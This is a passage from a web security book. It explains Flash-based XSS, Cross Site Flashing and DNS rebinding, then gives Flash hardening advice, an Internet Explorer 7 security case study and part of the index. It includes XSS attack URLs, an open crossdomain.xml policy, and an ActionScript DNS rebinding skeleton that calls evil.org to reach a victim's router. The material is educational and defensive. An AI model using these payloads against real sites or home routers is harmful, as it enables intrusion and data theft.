javascript%3Aalert%281%29//

The // at the end of the attack URL is not necessary to exploit VulnerableMovie, but 
// comes in very handy to comment out data concatenated to the user-definable input 
within the Flash application, such as when a vulnerable Flash application has this line 
of code:

_root.loadMovie(_root.baseUrl + "/movie.swf");

This security issue is not purely limited to loadMovie() alone. In Flash Player 9.0 r47, 
almost all functions loading URLs are vulnerable to asfunction based variables, 
including these:

• loadVariables()

• loadMovie()

• getURL()

• loadMovie()

• loadMovieNum()

• FScrollPane.loadScrollContent()

• LoadVars.load()

• LoadVars.send()
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• LoadVars.sendAndLoad()

• MovieClip.getURL()

• MovieClip.loadMovie()

• NetConnection.connect()

• NetServices.createGatewayConnection()

• NetSteam.play()

• Sound.loadSound()

• XML.load()

• XML.send()

• XML.sendAndLoad()

You should also be concerned about variables accepting URLs that are user-definable, 
such as TextFormat.url.

This attack is extremely common in Flash applications, including Flash movies auto-
matically generated from slide shows, videos, and other content. Some of these functions 
must allow the asfunction protocol handler. Thus, we expect this issue to persist for 
some time.

 XSF via loadMovie and Other SWF, Image, 
and Sound Loading Functions

Popularity: 2

Simplicity: 7

Impact: 8

Risk Rating: 8

An attacker could also load his or her own SWF through userinput3, such as the 
HackWorld application noted at the beginning of the chapter. Here’s an example 
attack URL:

http://example.com/VulnerableMovie.swf?userinput3= http%3A//evil.org/

HackWorld.swf%3F

The attacker must place the HackWorld SWF on his or her web site (say, evil.org) and 
place an insecure security policy on the site. Namely, add the file http://evil.org/
crossdomain.xml, containing this:

<cross-domain-policy>

    <allow-access-from domain="*" /> 

</cross-domain-policy>

Flash Player would first query the attack site for the crossdomain.xml security policy. 
Once it sees that it is allowed to access HackWorld, VulnerableMovie would load 

http://evil.org/crossdomain.xml
http://evil.org/crossdomain.xml
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HackWorld, and in turn, HackWorld would execute the JavaScript in the domain who 
hosts VulnerableMovie (such as example.com and not evil.org).

Stefano Di Paolo calls this Cross Site Flashing (XSF). XSF has the same impact as XSS. 
Namely, this attack would load HackWorld in the domain of the vulnerable SWF, and in 
turn, HackWorld would execute its malicious JavaScript in the example.com domain.

The question mark (?) %3F character at the end of this attack string is unnecessary to 
attack VulnerableMovie, but it acts like a comment. If the vulnerable code was this,

loadMovie(_root.baseUrl + "/movie.swf");

an attacker would push the concatenated text “/movie.swf” into a URL parameter, thus 
essentially commenting out the concatenated text.

Leveraging URL Redirectors for XSF Attacks
Popularity: 1

Simplicity: 5

Impact: 8

Risk Rating: 8

Suppose example.com hosted an SWF with the following code:

loadMovie("http://example.com/movies/" + _root.movieId + ".swf?other=info");

And suppose example.com had an open redirector at http://example.com/redirect that 
would redirect to any domain. An attacker could use example.com’s redirector to mount 
an attack using the following attack string for movieId:

../redirect=http://evil.org/HackWorld.swf%3F

loadMovie() would then load this,

http://example.com/movies/../redirect=http://evil.org/HackWorld.swf%3F

.swf?other=info

which is the same as this,

http://example.com/redirect=http://evil.org/HackWorld.swf%3F.swf?other=info

which redirects to this:

http://evil.org/HackWorld.swf

Thus, the vulnerable SWF still loads HackWorld in the example.com domain! With URL 
encoding, the attack URL would look like this:

http://example.com/vulnerable.swf?movieId=../redirect%3D

http%3A//evil.org/HackWorld.swf%253F



236 Hacking Exposed Web 2.0

XSS in Automatically Generated and Controller SWFs
Popularity: 1

Simplicity: 5

Impact: 8

Risk Rating: 9

Many applications automatically generate SWFs (e.g., “Save as SWF” or “export to 
SWF”). The output is generally one or more SWF and HTML files that are intended be 
published on a company website. Unfortunately, many of these applications including 
Adobe Dreamweaver, Adobe Connect, Macromedia Breeze, Techsmith Camtasia, 
Autodemo, and InfoSoft FusionChart create SWF files with the same XSS Vulnerabilities 
as noted in this chapter. As of October 28, 2007, an estimated 500,000 SWFs are vulnerable, 
which affect a considerable percentage of major Internet sites. Thus, be cautious of all 
SWFs you host, not just the ones you wrote.

Adobe provides some protection against asfunction: based XSS in their upcoming 
Flash Player release, but many SWFs created with the above applications will still be 
exploitable. Furthermore, there are probably many more applications that generate 
vulnerable SWFs. For more information see US-CERT vulnerability note VU#249337.

Securing Your Flash Applications
Flash and ActionScript developers must understand that insecure Flash applications 
impact their users as much as server-side web application insecurities. With that 
knowledge in mind, Flash and ActionScript developers should do the following to 
protect their applications:

• Validate or sanitize user-defi nable input in URL parameters and flashvars
intended for the SWF.

• Ensure that no redirectors reside in the domain hosting these SWFs.

• Take advantage of optional Flash <object> and <embed> tag security attributes.

• Serve automatically generated SWFs from a numbered IP address or some 
domain that you don’t care about having XSS on.

Input validation and sanitization is a challenge for Flash applications and server-side 
web applications, alike. Here are some pointers to help developers:

• Reduce the number of user-defi nable URL parameters or flashvars in functions 
that load URLs or that use htmlText.

• When including user-defi nable parameters in functions that load URLs, check 
that the URLs begin with http:// or https://and ensure that they contain no 
directory traversal attacks. Even better, prefi x the user-defi nable parameters 
with your own domain, like so:
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loadMovie("http://www.example.com/" + 

    directoryTraversalSafe(_root.someRelativeUrl));

• HTML entity encode all user-defi nable data before placing it in TextField and 
TextArea objects. For example, at least replace all instances of < with &lt; and 
> with &gt; in the defi nable data before placing it in TextField and TextArea
objects.

Compiling your Flash applications with Flash version 8 or later can take some 
advantage of newer security features, such as the swliveconnect, allowNetworking,
and allowScriptAccess attributes. Unless explicitly necessary, LiveConnect, network-
ing, and script access should be disallowed. A recommended and safer object tag is 
shown here:

<object

 classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"

 codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/

swflash.cab#version=9,0,0,0"

 type="application/x-shockwave-flash"

 data="/MyFlashApp.swf"

 height="640"

 width="480">

<param name="allowScriptAccess" value="never">

<param name="allowNetworking" value="none">

<param name="swliveconnect" value="false">

<param name="movie" value="/MyFlashApp.swf">

</object>

If the Flash application is compiled with Flash 8 or later, the Flash application will not be 
able to execute JavaScript or create network connections.

Intranet Attacks Based on Flash: DNS Rebinding
Popularity: 6

Simplicity: 2

Impact: 7

Risk Rating: 8

DNS rebinding is an attack that completely circumvents firewalls. The attack is a 
typical “bait-and-switch” attack. The browser (or browser plug-in) is baited into trusting 
some site on the Internet, but at the last moment the Internet site switches its IP address 
to an internal intranet site. The switch is performed by switching, or rebinding, the IP 
address of a domain name controlled by the attacker. Before discussing the attack in 
detail, let us first discuss how DNS plays a role on the Web. 



238 Hacking Exposed Web 2.0

DNS in a Nutshell
DNS is like a phonebook. Historically, when you want to talk to your friend—say, Rich 
Cannings, the model superstar—you look his name up in the phonebook to find his 
telephone number, and then you call him. Web sites are not much different. When a user 
wants to go a web site—say, temp.evil.org—the browser and/or operating system must 
find the IP address “number” of the computer named temp.evil.org. To do so, the browser 
or operating system looks up this “number” with the Domain Name System (DNS).

People cache phone numbers in mobile phone contact lists and personal phonebooks 
so they don’t have to go through the hassle of looking up their friends’ numbers in the 
phonebook over and over again. DNS also has a caching mechanism set by a time-to-live 
(TTL) value. The longer the TTL, the longer the domain name/IP address pair is stored 
in the cache. If the TTL is 0, then the IP address is never cached.

However, phonebooks and DNS differ by the fact that a server, such as temp.evil.org, 
can change its IP address at any time to any value, while Rich cannot simply tell the 
phone company to change his number to any value at any time. If Rich could change his 
number on the fly, he could play a prank at his high school, like this:

Rich: Hey! How’s it going?
Worst Enemy: Why are you saying hi? You hate me, cuz I’m dating the girl you like.
Rich: No, man. That was so yesterday. I’m so over her. Let’s go out tonight.
Worst Enemy: Ah. OK? What’s your number?
Rich: Look it up in the phonebook. It’ll be there.

At this moment, Rich would change his phone number to 911-1234. Later that night, 
his “worst enemy” would look up his number and dial it. The phone conversation might 
go like this:

911 operator: Hello, 911. What is your emergency?
Worst Enemy: Umm… Ahh… Is Rich there?
911 operator: No. This is 911.
“click” (Worst Enemy hangs up)
“Ring, ring…”
Worst Enemy’s Parents: Hello?
911 operator: Hello. Your son has been crank calling 911.
Worst Enemy’s: That’s terrible. He is so grounded.

In the end, Rich’s worst enemy would get grounded, and Rich would go on a date 
with Worst Enemy’s girl, and everyone would live happily ever after all thanks to 
rebinding phone numbers.

Back to DNS Rebinding
DNS rebinding uses the same style of attack with a much different outcome. The similarity 
is that the attacker convinces the browser, operating system, and/or the browser plug-
ins to trust some domain name, and then the attacker switches the IP address of the 
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trusted domain name at the next moment so that the victim trustingly connects to a 
different IP address.

The difference is that web security is not based on IP addresses; it is based on domain 
names. So even though the IP address changes “under the hood,” the trust spans across 
the all the IP addresses associated with the domain name. The outcome is that the victim 
becomes a proxy between the evil web site on the Internet and any internal IP address 
and port in the victim’s intranet.

We’ll explain the attack in detail, using an example by which an attacker takes control 
of a victim’s home router.

Suppose a victim visits evil.org to see some pictures of cute kittens. The victim types 
in evil.org and presses enter. The browser and operating system go to evil.org’s DNS 
server, perform a DNS query, and get the IP address 1.1.1.3 with a long TTL. The IP 
address for evil.org will not change in this example.

Next, the browser downloads many things from evil.org, such as an HTML page, 
images of cute kittens, and a hidden Flash application. The bait and switch is done with 
temp.evil.org within the hidden Flash application whose source is shown here:

import flash.net.*;

class DnsPinningAttackApp {

  static var app:DnsPinningAttackApp;

  static var sock:Socket;

  static var timer:Timer;

  function DnsPinningAttackApp() {

    // Step 1: The Bait

    // This request is sent to 1.1.1.3

    flash.system.Security.loadPolicyFile("http://temp.evil.org/" 

      + "MyOpenCrossDomainPolicy.xml");

    // Step 2: The Switch

    // Wait 5 seconds to ensure that Flash loaded the security policy

    // correctly and this program can talk to temp.evil.org.

    // Wait another 5 seconds for the DNS server for temp.evil.org to 

    // change from 1.1.1.3 to 192.168.1.1. 

    // Run connectToRouter() in 10 seconds.

    timer = new Timer(5000+5000, 1);

    timer.addEventListener(TimerEvent.TIMER, connectToRouter);

    timer.start();

  }

  private function connectToRouter(e:TimerEvent):void {

    sock = new Socket();

    

    // Once we've connected to the router, run the attack in attackRouter()
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    sock.addEventListener( Event.CONNECT, attackRouter );

   

    // Step 3: Connect After the Switch

    // Attempt to make the socket connection to temp.evil.org, 192.168.1.1 

    sock.connect("temp.evil.org",80);

  }

   

  private function attackToRouter(e:TimerEvent):void {

    // We now have a socket connection to the user's router at 192.168.1.1

    // on port 80 (http).

    

    // The rest is left to the reader's imagination. Note that this flash

    // app originated from evil.org, so it can phone back to evil.org with 

    // any information it stole.

  }

  static function main(mc) {

    app = new DnsPinningAttackApp();

  }

}

The Flash application loads a security policy in “Step 1: The Bait” by first performing a 
DNS query for temp.evil.org. The DNS server for evil.org, which is controlled by the 
attacker, responds with 1.1.1.3 and an TTL of 0. Thus, the IP address is used once and not 
cached. Now, Flash Player downloads MyOpenCrossDomainPolicy.xml from 1.1.1.3, 
which is an open security policy. The Flash application now allows connections to 
temp.evil.org.

In “Step 2: The Switch,” the Flash application waits 10 seconds, using a Timer class. 
It waits for the DNS server for evil.org to switch the IP address from 1.1.1.3 to 192.168.1.1. 
We can comfortably assume that evil.org’s web server and DNS can communicate to 
perform this switch. 

When the timer expires, the Flash application calls the connectToRouter() function, 
which creates a new Socket connection. In “Step 3: Connect After the Switch,” the Flash 
application wants to create another connection to temp.evil.org. Since temp.evil.org is 
not in the DNS cache, the victim’s computer makes another DNS query. This time, the 
IP address for temp.evil.org is 192.168.1.1. 

At this moment, connecting to temp.evil.org is trusted and allowed, but the IP address 
of temp.evil.org is for the victim’s internal router at 192.168.1.1!

The Flash player continues with the Socket connection to 192.168.1.1 on port 80. 
Once the connection is established, the Flash application can fully interact with the 
victim’s router because the Flash Player still believes it is talking with temp.evil.org. 
Note that the attacker could have connected to any IP address and any port.

Finally, the Flash application communicates to the router in the attackToRouter()
function. You could imagine that the attackToRouter() function attempts to log in to 
the router with default usernames and passwords by crafting HTTP requests. If successful, 
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the Flash application could open an access control whereby the router can be configured 
via the Internet, and not just the intranet. Finally, you could assume that the Flash 
application sends the Internet IP address (not the internal intranet IP address 192.168.1.1) 
to evil.org. Now the attacker can gain complete control of the victim’s router. A step-by-
step sequence diagram in Figure 9-1 reviews the attack.

Note that this attack is not Flash-specific. The attack can be performed in Java and 
JavaScript as well. This attack is also known as “Anti-DNS Pinning” and “Anti-Anti-
Anti-DNS Pinning.” Many people claim to have created this attack; you can read more 
on DNS rebinding at http://crypto.stanford.edu/dns/.

User's machine at 192.
168.1.101

DNS server for evil.org
at 1.1.1.2

HTTP server for evil.
org at 1.1.1.3

User's router at 192.
168.1.1

Where is www.evil.org?

www.evil.org is at 1.1.1.2.

Please give me/index.html for www.evil.org.

Sure thing boss. (returns the web page with a malicious SWF)

User's browser loads malicious flash plugin who wishes to access temp.evil.org.

Where is temp.evil.org?

temp.evil.org is at 1.1.1.3, but i'm going to change it really soon.

Change DNS entry for temp.evil.org to 192.168.1.1

Can i access you?

Yes. Do anything you please.

Create socket connection to temp.evil.org on port 80

Where is temp.evil.org?

temp.evil.org is at 192.168.1.1.

Attempt to hack this router with default username and passwords, and open the router for Internet wide administration control.

Sure thing boss.

Here is another pwned router.

Sweet! Thanks!

Figure 9-1 Sequence diagram of a DNS rebinding attack

http://crypto.stanford.edu/dns/
www.evil.org?
www.evil.org
www.evil.org


242 Hacking Exposed Web 2.0

SUMMARY
Flash can be used to attack any web application by reflecting cross-domain security 
policies. Attackers can also take advantage of improper input validation in Flash appli-
cations to mount XSS attacks on the domain hosting the vulnerable SWF. Automatically 
generated SWFs can be created with vulnerable code that could lead to widespread, 
universal XSS attacks. Finally, Flash can be used to circumvent firewalls with DNS 
rebinding attacks.
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CASE STUDY: INTERNET EXPLORER 7 
SECURITY CHANGES

In October 2006, Microsoft released version 7 of its Internet Explorer web browser (IE 7). 
It had been five years since the release of IE 6 and a great deal had changed in the 
Internet’s security landscape. While buffer-overflow attacks were well known in 2001, 
attackers still managed to exploit overly permissive security settings as well as find a 
large number of such vulnerabilities in IE 6 and ActiveX objects. For awhile, it seemed 
major vulnerabilities were being found every few days, and a whole new anti-spyware 
industry emerged. The anti-spyware market helped us combat and recover from the 
many browser-based “drive-by” attacks that took over our computers as they browsed 
the web. Furthermore, the explosion of online fraud involving monetary funds, targeting 
a user’s operating system to steal their MP3s no longer compared to stealing account 
information from a user’s bank account. 

As more and more valuable activity began to occur online, entire new classes of 
attacks began to emerge, with criminals targeting online banking and shopping sites. 
Issues such as phishing and cross-site scripting (XSS) took advantage of basic design 
flaws in web sites, browsers, and the Web itself to steal victims’ money and identities.

The problems became so serious and widespread that by 2004 the bad security 
reputation Microsoft was acquiring threatened the popularity of Internet Explorer and 
even Windows itself as users began to switch to Firefox. Recognizing the importance of 
these issues, Microsoft put a great deal of security engineering effort into Internet 
Explorer 7. This case study examines the following changes and new security features:

• ActiveX Opt-In

• SSL protections

• URL parsing

• Cross-domain protection

• Phishing fi lter

• Protected mode

ActiveX Opt-In
As noted in Chapter 8, ActiveX controls have been a frequent source of security problems. 
IE 7 attempts to reduce the exposure of potentially dangerous controls with the new 
ActiveX Opt-In feature. The Opt-In feature disables ActiveX controls by default. If a user 
browses to a web site that uses ActiveX, IE 7 will ask the user if she wants to run the 
control. If the user approves the behavior, the message will not appear the next time she 
visits the site. If the user grants permission, Authenticode information will be shown and 
will then allow the control to run. The Opt-In model disables most ActiveX controls 
unless the user actively approves it. The one caveat is that if controls are installed by a 
page using a CAB file, the user will have to Opt-in to install the Cab file. Controls in the 
preapproved list as well as controls used previously under IE 6 (in the case of an upgrade 
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from IE 6) can still run without Opt-In protections. Controls that are on the preapproved 
list but not installed on the machine yet will still have to go through the approval process 
to be installed on the system. 

This feature is intended to help mitigate “drive-by” web attacks by eliminating silent 
execution of the many legacy ActiveX controls that, while still installed, may never be 
actually used by the legitimate sites a user visits. It remains to be seen how effective this 
will prove in actually preventing attacks, but it is a worthy effort at attack surface 
reduction.

SSL Protections
IE 7 enforces stronger SSL requirements for HTTPS connections. If a problem occurs with 
an SSL certificate from a web site, rather than just popping up a cryptic and easily ignored 
message box, IE 7 will interrupt the transaction with an entire web page warning the 
user that he or she should not proceed. Specifically, the error states “There is a problem 
with this website’s security certificate… We recommend that you close this web page 
and do not continue to this web site.”

An example of how weak error messages have been abused before IE 7 is an SSL 
Middle Person attack. SSL Middle Person attacks trick users by enticing them (via social 
engineering) to accept a fake SSL certificate that is controlled by the attacker (nullifying 
any security attained through SSL). The following issues with the SSL certificate will 
trigger the error page: 

• Date is invalid

• Name and domain do not match

• Certifi cate authority is invalid

• Revocation check failure

• Certifi cate has been revoked (only for Vista operating system)

In addition to SSL certificate errors, IE 7 will also disable SSLv2, which has known 
security issues associated with it, in favor of SSLv3/TLSv1. This will ensure that the 
strongest and most proven form of SSL/TLS is used by default. Furthermore, IE 7 will 
also prevent the use of weak ciphers with SSL, such as the obsolete and easily broken 
modes that use 40-bit or 56-bit encryption keys. While this is supported only in Windows 
Vista, users can be ensured that only strong ciphers are being used with the browser. It 
should be noted that weak cipher suites cannot be re-enabled, but unfortunately, SSLv2 
can be. Lastly, if a user browses to a web page under HTTPS, content from HTTP pages 
will be blocked. This will prevent the mixing of HTTPS with insecure HTTP content on 
sensitive web applications. 

URL Parsing
IE 7 will parse all URLs that are entered, clicked, or redirected to by a user. If a web URL 
does not meet the RFC 3986 specifications, IE 7 will show an error page. IE has been 
vulnerable to many URL attacks in the past, which are often used in phishing attacks. 
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One such attack was used to subvert security zones in IE. The attack would use a URL 
that begins with the legitimate site on the left side (such as update.microsoft.com) of the 
URL and the attacker’s domain on the right side (such as cybervillians.com). In the past, 
certain versions of IE would go to the attacker’s site on the right side but place it in the 
security zone of the URL on the left side, which in this case the trusted security zone. The 
trusted security zone has less restricted privileges, allowing the malicious site to perform 
actions that should not be permitted (such as automatically running dangerous ActiveX 
controls). Another common attack was to use an alternative URL format for encoding of 
HTTP basic authorization directly into the URL (for example, http://username:
password@www.myhost.com/) in an attempt to disguise the true site being visited.

To defend against these classes of attack, Microsoft consolidated all of its URL parsers 
into one library. This library is available as cURL (Consolidated URL parser) and makes 
URL canonicalization consistent. If a URL does not meet the RFC specification, it is 
simply rejected. Specifically, IE 7 will reject URLs

• that attempt to break security rules

• with invalid syntax

• with invalid host names

• that are invalid

• that attempt to grab more memory than available

Cross-Domain Protection
Cross-domain protection helps defend against sites trying to run scripts from different 
domains. For example, an attacker can write a malicious script and post it to a domain he 
controls. Under this attack class, if the attacker entices a user to visit his domain, the 
malicious site can then open a new window that contains a legitimate page, such as a 
bank site or popular e-commerce site. If the user enters in sensitive information in the 
legitimate site, such as the username and password, but within the domain of the attacker, 
the malicious site that has presented the window could extract the information from the 
user. This cross-domain activity is extremely dangerous, and IE 7 has attempted to 
prevent these behaviors. 

To help mitigate cross-domain attacks, IE 7 will attempt to script a URL to the same 
domain from which it originated as well as limit its interaction with only windows and 
content from the same domain. Specifically, IE 7 will attempt to block a script URL by 
default, redirect DOM objects, and prevent any IE window/frame from accessing another 
window/frame if it does not have explicit permission to do so. 

Phishing Filter
IE 7 comes with a built-in anti-phishing filter, which protects users against known or 
suspected phishing sites. The filter will protect users from visiting web sites that appear 
to be a trusted entity. For example, the web site for a bank, PayPal, or a credit card 
company can be easily spoofed by an attacker. Instead of visiting www.paypal.com, the 

www.paypal.com
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attacker can trick a user into visiting www.paypal.com.cybervillians.com. The legitimate 
site and fake site will look identical; however, the latter site is obviously a phishing site 
that is trying to compromise a username/password or credit card information. 

To protect users against phishing sites, IE 7’s phishing filter has two modes, including 
Automatic Website Checking Off (default) and Automatic Website Checking On. 
Automatic Website Checking Off checks a local list of approved URLs that is stored in a 
file on a user’s computer. If a user visits a site that is not in the approved URL file, the 
browser will warn the user and then ask her to opt-in to automatic checking process. If a 
user selects Automatic Website Checking On, the browser will send each URL visited by 
the user to Microsoft’s phishing database. Microsoft’s phishing database will then verify 
whether the URL is on a list of known phishing URLs. If a user visits a web site that is 
not on Microsoft’s phishing database, the request will be blocked.

In some situations, a user may browse to a web site that seems like a phishing URL, 
but it may not be on a known phishing database or on the approved list. In such situations, 
when a web site holds the characteristics of a phishing web site but is not reported and 
confirmed, IE 7 will send a warning message to the user, informing her about the 
potentially hazardous destination.

Protected Mode
Protected Mode takes on a security principal called the least privilege model, in which 
applications and services run with only the lowest set of rights they need. IE 7 follows 
this principle by running the browser with very restricted access to the rest of the system. 
This model reduces the ability for the browser, or anything included in the browser such 
as an ActiveX control, to write, change, or delete information on the computer. 

Protected Mode is available only on Windows Vista since it relies on new security 
features in the operating system. These features include User Account Control (UAC), 
Mandatory Integrity Controls (MIC), and User Interface Privilege Isolation (UIPI). UAC 
allows programs to be run without administrator privileges, an issue that has plagued 
many Microsoft products in the past. Since non-administrators do not have full rights to 
the operating system, an application running with UAC has to overcome a lot more 
hurdles to perform dangerous actions such as install malicious services on the base 
system. Mandatory Integrity Controls allow Protected Mode IE to read but not make any 
changes to all but a small number of system objects specifically labeled for such access 
(specific files and registry keys). Lastly, UIPI restrictions prevent lower rights processes 
from sending communication to higher rights processes, strengthening the security 
barrier between them. Under UIPI, like MIC, other windows must specifically opt-in to 
receiving only the messages they want from a lower rights process. 

These features help isolate Internet Explorer in the Internet zone from the rest of the 
system, which greatly reduces the avenues of attack and the damage that can be done by 
a malicious web site. Attacking a user’s system with an ActiveX control, a Flash object, 
JavaScript, or VBscript, should be more difficult to accomplish under IE 7 Protected 
Mode without user interaction. 

www.paypal.com.cybervillians.com
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AxMan, 217–219

▼ ▼ BB
Banking systems, 46
Banner ads, 73
Base64 encoding, 99, 166, 167
BeEF browser exploitation, 91–94
BeEF proxy, 91–94
Berners-Lee, Tim, 74
Blaster (worm), 103
Blog applications, 104
“Boiler Rooms,” 135
Browser authentication, 76
Browser plug-ins, 52
Buffer overflows, 16–17, 208, 219

in C, 17, 208
in C++, 208
injection attacks, 16–17
on local machines, 17
prevention of, 17
on remote machines, 17

Bugs, 76
Burns, Jesse, 86, 181
Bypass input filters, 99–103

▼ ▼ CC
C#, 10, 115, 116
C (programming language):

and buffer overflows, 17
buffer overflows in, 208
in C++, 17

Cabinet (cab) files:
and ActiveX, 204
and IE, 243

Cascading Style Sheets (CSS), 95, 97
CERN, 74
CGI, shell-based, 10
Chat applications, 46
Class identifier (CLSID), 201, 205, 207
clickTAG (Flash variable), 231
Client frameworks, 178
Client-server proxy, 146–147
Client-side rendering, 147
CLR (Common Language Runtime), 114
CLSID (see Class identifier)
CoCreateInstance, 209
COM (see Component Object Model)
Command injection attacks, 10–12
Common Language Runtime (CLR), 114
CompareValidator, 123
Component Object Model (COM), 198, 205, 214
connectToRouter(), 240
Controller SWFs, 236
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Cookie flags, 173–176
HTTPOnly flag, 173
Secure flag, 173

Cookie security model, 26–29
conflicting, 27
JavaScript for, 28
parsing, 28, 29
protecting, 29
and Same Origin Policy, 28

Cookies, 166–176
and AJAX, 166–176
and Cross-Site Scripting, 44
and CSRF, 76
Domain property of, 174
e-mail attacks with, 27–29, 79
in Flash applications, 43
generation schemes, 166–173
and JavaScript, 27
Path property of, 174
and RFC 2109, 26
risk of, 76
and SecureCookies tool, 174–176
security controls for, 26–27
session authentication with, 79
for session identification, 166
site-specific items, 174
and SSL, 28
stealing, 44, 89
user authentication with, 75
and VBScript, 27
web application attacks using, 79
XSS vs., 89

C++ (programming language):
and ActiveX controls, 199
and buffer overflows, 17
buffer overflows in, 208

Cross Site Flashing (see under XSF)
Cross-domain actions:

and cross-domain attacks, 72–81
in Flash, 224
iFrames, 72–73, 82
images, 73
JavaScript sourcing, 73–74
links, 72–73
need for, 72–81
object loading, 73
problem with, 74–76
uses for, 72–81

Cross-domain attacks, 72–86
case study, 135–142
and cross-domain actions, 72–81
CSRF attacks, 77–81
and JavaScript, 84–85
protection against, 86
safe methods against, 81–86
security boundaries, 138–142
stock pumping, 135–138

Cross-domain Flash applications, 73
Cross-domain protection (IE), 245
Cross-domain script tags, 73–74
Cross-domain sourcing, 84–85
crossDomainSessionSecurity, 181
Cross-site request forgery (CSRF), 77–81

configuring, 78
in e-mail, 25–26
and HTTP GET, 80–81
parameters in, 78–79
reflected, 78–80
risk of, 77
in SAMY worm, 56
stored, 80
and Viewstate, 130
vulnerability for, 78
in Web 2.0, 83

Cross-Site Scripting (XSS), 22–54, 126–127
and ActiveX, 202
in AJAX, 50
and ASP.Net, 123–128
automated testing for, 50–52
in automatically generated SWFs, 236
with clickTAG, 231
in controller SWFs, 236
and cookies, stealing, 44
cookies vs., 89
error messages, 49
in Flash applications, 229–234, 236
with getURL(), 230–231
HTML injection, 32–44, 47–49
with HTML TextField.htmlText,

232–233
JavaScript on, 89–91
with loadMovie(), 233–234
luring user into, 47–49
malicious attacks, 44–47
on .Net Framework, 123, 126–127
and phishing, 45
prevention of, 40, 49–50
report for, 51–52
steps for, 32–51
in SWFs, 236
testing for, 50–52
with TextArea.htmlText, 232–233
with URL loading functions, 233–234
user mimicry, 45–46
using image tags, 101
using newline, 102
using script tags, 101
using style tags, 102
UTF-7 based, 50
and web browser security models, 22–32
and web forms controls, 126–127
worms, 47

Cryptographic tokens, 86
CSRF attacks (see Cross-site request forgery)
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CSS (see Cascading Style Sheets)
Custom serialization, 150, 152

downstream traffic, 150
and GWT, 152
upstream traffic, 152
and XHR, 150

CustomValidator, 123

▼ ▼ DD
Data, 4
Data Encryption Standard (DES), 129
Database management system (DBMS), 121
DBMS (database management system), 121
Debug functionality, 180–181, 191–192
Decimal filtering, 99
Default page validation:

ASP.Net, 124–125
countermeasures for, 124–125
disabling, 124

DES (Data Encryption Standard), 129
Di Paola, Stefano, 233, 235
Digital ID file, 204
Direct Web Remoting (DWR), 154, 178–181

debug mode, 180–181
installation of, 179
unintended method exposure, 179–180

Directory traversal injection attacks, 11–14
DLL (dynamic link library), 200
DllGetClassObject, 209
DNS (see Domain Name System)
DNS rebinding, 237–241
Document Object Model (DOM), 72, 117

and AJAX, 72
JavaScript, 24
from XML, 117–118

Document Type Definitions (DTDs), 118
document.domain (JavaScript), 23, 24
Dojo Toolkit, 186–187
doLogin, 182
DOM (see Document Object Model)
domain (cookie), 26
Domain Name System (DNS), 202–203, 238
Domain property, 174
Domains, 49
“Dot Net” Framework (see .Net Framework)
Double dash (SQL), 5–6
Downstream traffic, 148–150

custom serialization, 150
JavaScript, 148–149
JavaScript arrays, 149
JSON, 149
XML, 148

DropDownList, 126–127
DTDs (Document Type Definitions), 118

DWR (see Direct Web Remoting)
Dynamic content, 22
Dynamic link library (DLL), 200

▼ ▼ EE
E-commerce sites:

attacks on, 46
parameter manipulation attacks on, 159
shopping carts of, 159

E-mail, attacks on:
with cookies, 27–29, 79
with JavaScript, 84–85
mimicry, 46
and Same Origin Policy, 25–26
with XMLHTTP, 104
on Yahoo!, 103

Encoding:
Base64, 166
with JavaScript, 50
output, 125–126

Error messages:
ASP.Net, 131
HTML injections in, 42
on .Net Framework, 131
in SQL, 7
for user-supplied data, 49
for XSS, 50

Escaping, 8, 50, 120
Esser, Stefan, 31, 227
eval() (JavaScript), 84
_EVENTVALIDATION field, 129
Excel (Microsoft), 198
Executables, 204
expires (cookie), 27
Exposures:

in SAJAX, 185–186
in Web 2.0 migration, 191–193

Extensible Stylesheet Language Transformations 
(XSLT), 116

External entities (XML), 13
eXternal entity injection attacks (see XXE injection 

attacks)
ExternalInterface (Flash), 30, 43, 224

▼ ▼ FF
Financial systems, 46
FireFox:

NoScript plug-in, 141
ports in, 97
WebDeveloper Add-On, 160, 163–164

Flare, 228–229
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Flash applications, 224–242
client-side, 229
and cookies, 43
cross-domain, 73
cross-domain actions in, 224
DNS rebinding, 237–241
GET method in, 224
hacking tools for, 227–241
HTML injection attacks in, 232
for HTML injections, 43–44
images in, 232, 233
JavaScript vs., 43
and MIME types, 31, 43
open security policies of, 225
securing, 236–237
security policy reflection attacks on, 225–226
security policy stored attacks on, 226–227
tools for, 227–241
XSF in, 234–235
XSS in, 229–234, 236

Flash security model, 30–31, 224–227
Form control properties, 126–127
Fuzzing, 214

▼ ▼ GG
GET method, 81

in Flash, 224
and XHR, 104
(See also HTTP GET)

Get/Set convention, 199
getURL():

Cross-Site Scripting with, 230–231
in Flash, 224

GIF images:
file comments for, 227
insecure policies on, 31

Google, and web site traffic, 141
Google Web Toolkit (GWT), 154, 181–183

and custom serialization, 152
installation, 181–182
and Java applications, 190
and JSON, 183
unintended method exposure, 182–183

Grossman, Jeremiah, 84, 95, 97
GWT (see Google Web Toolkit)

▼ ▼ HH
Hardenedphp.net, 31
HEAD method, 81
Header manipulation, 160
HEX filtering, 99

Hidden field manipulation, 159–163
Hidden URLs, 192
Hird, Shane, 214
HistoryThief, 95–96
HMAC, 128, 129
Hoffman, Billy, 97
Howard, Michael, 208
HTML (HyperText Markup Language):

and AJAX, 43
JavaScript as, 47–49

HTML entity encoding, 49
HTML injection attacks, 32–44, 47–49

and AJAX, 41–42
clicking, 49
in error messages, 42
in Flash, 232
Flash applications for, 43–44
with GIFs and JPGs, 42–43
with MIME type mismatch, 42–43, 48
in mobile applications, 41
on MySpace, 55–66
for obscuring links, 47–49
redirected, 33–41
reflected, 33, 36
and Same Origin Policy, 24
stored, 33, 37–41
with UTF-7 encodings, 42

HTML TextField.htmlText, 232–233
HtmlEncode method, 125
HTTP GET:

and AJAX, 150
and CSRF attacks, 80–81
in Flash, 225
from links, 73
upstream traffic, 150
as user input, 4

HTTP header, 50
HTTP packets, 43
HTTP POST, 81

and AJAX, 150–151
upstream traffic, 150–151
as user input, 4

HTTP response splitting, 38–39
HTTP/1.1 (see Hypertext Transfer Protocol)
HttpOnly (cookie), 27, 173
HTTPS requirement:

for ActiveX controls, 209
for SSL protections, 244

Hyperlinks:
in cross-domain actions, 72–73
and HTML injections, 47–49
and HTTP GET, 73
obscuring, 47–49

HyperText Markup Language (see under HTML)
Hypertext Transfer Protocol (HTTP/1.1), 22, 26, 81
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▼ ▼ II
I Love You (worm), 103
ICMP (Internet Control Message Protocol), 97
IDE (integrated development environment), 190
IE 7 (see Internet Explorer 7)
IE trust zones, 202
iFrames:
